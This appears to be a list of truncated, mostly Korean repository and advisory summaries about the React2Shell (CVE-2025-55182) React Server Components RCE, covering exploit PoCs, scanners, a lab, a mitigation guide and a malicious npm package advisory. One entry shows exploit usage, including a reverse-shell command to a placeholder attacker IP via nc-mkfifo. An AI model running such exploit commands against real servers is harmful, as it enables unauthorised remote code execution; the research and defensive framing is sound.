React2Shell-POC

이 React2ShellCVE-2025-55182 취약점에 대한 개념 증명PoC은 오로지 교육 및 연구 목적으로만 개발되었습니다. 이 PoC는 통제되고 승인된 비프로덕션 환경에서 특정 보안 취약점의 존재와 잠재적 영향을 입증하기 위한 것입니다. react2shell 취약점에 대한 자세한 분석은 제 블로그를 확인하세요: https://vxsnipe.xyz/posts/react2shell/ 사용법 ➜ python poc.py -h | | | /\ / | | \ / | | | | | | | | | | | | / \ | | | | |...

CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell infrar3d에 의해 익스플로잇됨 React.js의 서버 측 사용에 영향을 미치는, 심각도critical severity 10.0의 취약점으로, React.js에서는 CVE-2025-55182로, Next.js 프레임워크에서는 CVE-2025-66478로 추적됩니다. 이 취약점은 2025년 11월 29일 PT에 Lachlan Davidson이 Meta 팀에 책임 있게 공개 했습니다. 초기 공개 및 패치 릴리스는 2025년 12월 3일 PT에 React와 Vercel이 수행했습니...

nextjs-security-update

nextjs-security-update 새 Next.js 취약점을 악용하는 OSS 도구를 만드는 사람들이 있습니다. 이는 맞서 싸우기 위한 도구입니다. 모든 GitHub 계정에 있는 모든 Next.js 앱을 매우 쉽게 업그레이드할 수 있게 해줍니다. 내부적으로 공식 Vercel 수정 도구를 사용합니다. 무슨 일이 있었나 2025년 12월 11일: Next.js가 App Router를 사용하는 React Server Components에 영향을 미치는 여러 가지 치명적인 취약점을 공개했습니다: CVE-2025-66478 RCE...

MAL-2026-17294 Malicious code in react-nodejs (npm)

The package react-nodejs impersonates the legitimate 'react' package it republishes react's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...

Malicious code in react-nodejs (npm)

The package react-nodejs impersonates the legitimate 'react' package it republishes react's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...

React2Shell_CVE-2025-55182

CVE-2025-55182 WAF 우회 기능이 포함된 모듈형 익스플로잇 취약한 React Server Components 및 Next.js 애플리케이션의 치명적인 RCE 취약점CVE-2025-55182을 악용하기 위한 대화형 셸을 제공하는 Python 스크립트입니다. 이 익스플로잇은 인증되지 않은 원격 코드 실행을 허용하는 역직렬화 결함을 대상으로 합니다. WAF 우회 기법을 추가할 수 있는 모듈형 시스템을 포함합니다. !NOTE 이 익스플로잇은 취약한 RSC 프로토콜 엔드포인트와 상호 작용하도록 설계되었습니다. 실행 결과는...

React2Shell

React2Shell CVE-2025-55182 스캐너 및 익스플로잇 툴킷 for Next.js/React 서버 컴포넌트 RCE. 저장소 구조 React2Shell/ ├── browser-extension/ 브라우저 기반 탐지를 위한 Chrome 확장 프로그램 │ ├── manifest.json │ ├── content.js │ ├── popup.html/js │ └── background.js ├── cli/ 명령줄 스캐너 및 익스플로잇 도구 │ ├── react2shell.py │ └── requirements.txt ├─...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: 웹을 무너뜨린 역직렬화 버그 ⚡ React2Shell, CVE-2025-55182, RCE 취약점: React Server Components의 안전하지 않은 역직렬화 결함으로 인해 기본 React/Next.js 설정에서 인증 없이 원격 코드 실행이 가능하게 된 심각한 취약점 분석. ⏩ 요약 React2Shell CVE-2025-55182는 React 19.x 및 Next.js와 같은 프레임워크의 React Server ComponentsRSC에 영향을 미치는 심각한 원격 코드...

mitigate-cve-2026-23869-react-server-component-loops

CVE-2026-23869 수정 방법: React Server Component 루프 완화 최신 엔터프라이즈 프런트엔드 애플리케이션을 보호하려면 서버 측 데이터 페칭 레이아웃과 프레임워크 컴포넌트 수명 주기를 지속적으로 모니터링해야 합니다. 최근 CVE-2026-23869가 공개적으로 공개되면서 엔지니어링 팀은 React Server Components 내부의 제어되지 않는 렌더링 루프와 관련된 심각한 취약점에 직면하고 있습니다. 이 치명적인 보안 익스플로잇은 인증되지 않은 네트워크 요청을 통해 재귀적 렌더링 상태를 트리거하여...

CVE-2025-55182

Next.js React Server Components RCE 익스플로잇 프로토타입 오염을 통해 원격 코드 실행이 가능하도록 하는 CVE-2025-55182 취약점을 악용합니다. 설치 uv sync 사용법 명령 실행 source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" 리버스 셸 python3 exploit.py -u https://example.com -r -l YOURIP -p 4444 -P nc-mkfifo 옵션 -u, --url: 확인할...

react2shell-CVE-2025-55182-full-rce-script

Next.js React2Shell CVE-2025-55182 익스플로잇 도구 인증된 로컬 테스트 환경에서만 중요한 React2Shell 취약점CVE-2025-55182 / CVE-2025-66478을 시연하기 위한 개념 증명 도구입니다. ⚠️ 중요 경고: 활발한 익스플로잇 이 취약점CVSS 10.0은 정교한 위협 행위자에 의해 활발히 악용되고 있습니다. Amazon Threat Intelligence에 따르면 Earth Lamia 및 Jackpot Panda를 포함한 여러 중국 연계 국가 지원 그룹이 공개 직후 몇 시간 내에...

React2Shell

██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║...

WEB-CLI_RCE_React2Shell

REACT2SHELL 🎯 간단 개요 이것은 무엇인가? 이 도구는 CVE-2025-55182 에 대한 간단한 개념 증명PoC 익스플로잇입니다. 이는 React Server Components 를 사용하는 Next.js 애플리케이션에서 발견된 심각한 결함프로토타입 오염입니다. 대상 서버가 취약할 경우, 이 스크립트를 통해 운영 체제 명령을 실행할 수 있습니다원격 코드 실행, RCE. 이 도구는 학습, CTF 및 책임 있는 보안 연구를 위해 제작되었습니다. ⚠️ 학생 및 CTF 플레이어를 위한 면책 조항 윤리적으로 사용하십시오. 이...

React2Shell-PoC-CVE-2025-55182

React2ShellCVE-2025-55182 악용 모의실험 참고: 이 문서는 학습 및 보안 연구 목적으로만 제공됩니다. 허가 없이 시스템을 공격하는 데 사용하지 마십시오. 1. 개요 CVE-2025-55182는 React2Shell이라고도 하며, React Server ComponentsRSC에 영향을 주는 심각한 원격 코드 실행RCE 취약점입니다. 클라이언트와 서버 간 통신에는 Flight 프로토콜이 사용됩니다. 클라이언트가 데이터를 요청하면 서버는 payload를 수신하고 이를 구문 분석하는데, 이 과정에서 공격자가...

react2shell-toolkit

Next.js RCE 평가 툴킷 권한이 부여된 환경에서 CVE-2025-55182로도 알려진 React2Shell 을 검증하고 조사하기 위한 Python 툴킷입니다. 이 취약점은 React Server Components에 영향을 미치며 Next.js와 같은 프레임워크로 구축된 애플리케이션을 인증되지 않은 원격 코드 실행에 노출시킬 수 있습니다. 이 툴킷은 대상 수집, 대량 검증, 대화형 테스트 셸, 호스트 열거, 선택적 검증 후 유틸리티를 결합합니다. 취약점 CVE: CVE-2025-55182 이름: React2Shell...

React2Shell-CVE-2025-55182

🎯 React2Shell CVE-2025-55182: React Server Components에서 완전한 RCE까지 난이도: 중급 → 고급 분류: 웹 익스플로잇 | 역직렬화 | RCE 🧩 작업 1: 소개 — React2Shell이 왜 중대한 사안인가 React2Shell 이라는 별명을 가진 CVE-2025-55182는 방어자들을 순식간에 긴장시키는 취약점 중 하나입니다 😬. 2025년 12월 에 발견되었으며 CVSS 점수 10.0 을 기록했습니다. 이것만으로도 단순한 엣지 케이스 버그가 아님을 알 수 있습니다. 핵심적으로, ...

React2Shell

Docker 랩 & 탐지 스캐너 & PoC 검증: React2Shell CVE-2025-55182 고지 사항: 이 저장소와 PoC 산출물은 격리된 랩 환경 내에서 교육, 연구 및 방어적 보안 시연 목적으로만 제작되었습니다. 외부 시스템에 대한 허가되지 않은 테스트는 엄격히 금지됩니다. 1. 프로젝트 거버넌스 및 인가 경계 프로젝트 목적 이 저장소는 React Server ComponentsRSC Flight 프로토콜 역직렬화 취약점일반적으로 React2Shell / CVE-2025-55182 로 지칭에 대한 완화 조치를 분석,...

Quickcheck-CVE-2025-55182-React-and-CVE-2025-66478-Next.js

GitHub CVE 스캐너 🔍 GitHub 저장소에서 React 및 Next.js RSC의 중요한 취약점을 빠르게 스캔합니다. 개요 모든 GitHub 저장소에서 React Server Components의 알려진 보안 취약점을 검사하는 브라우저 기반 스캐너입니다: CVE| 패키지| 심각도| 설명 ---|---|---|--- CVE-2025-55182| react, react-dom, react-server-dom-webpack| 심각| React RSC "Flight" 프로토콜 RCE CVE-2025-66478| next| 심...

CVE-2025-55182-POC

CVE-2025-55182 – 명령 삽입 취약점 스캐너 실제 명령 출력이 포함된 완전한 개념 증명 이 저장소는 JSON 기반 POST 요청을 통해 공격자가 명령 삽입 취약점을 어떻게 악용할 수 있는지 보여주는 Python 기반 개념 증명PoC 스캐너를 포함합니다. 이 도구는 보안 연구자와 침투 테스터가 명령을 전송하고 그 실행 출력을 검색하여 대상이 취약한지 확인할 수 있도록 합니다. ⚠️ 면책 조항 이 프로젝트는 교육, 연구, 그리고 승인된 침투 테스트 목적으로만 제공됩니다. 귀하는 모든 관련 법률을 준수할 전적인 책임이...

CVE-2025-55182-React-RCE

CVE-2025-55182-React-RCE 프로젝트 소개 및 원리 전 세계 최초로 RSC 기능을 기반으로 WAF 탐지를 우회할 수 있는 CVE-2025-55182 React Server RCE 취약점 EXP. The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by leveraging RSC-specific features. React Server 기본 환경에서 RCE를 구현합니다. 새로운 독창적인 EXP를 추가하여 WA...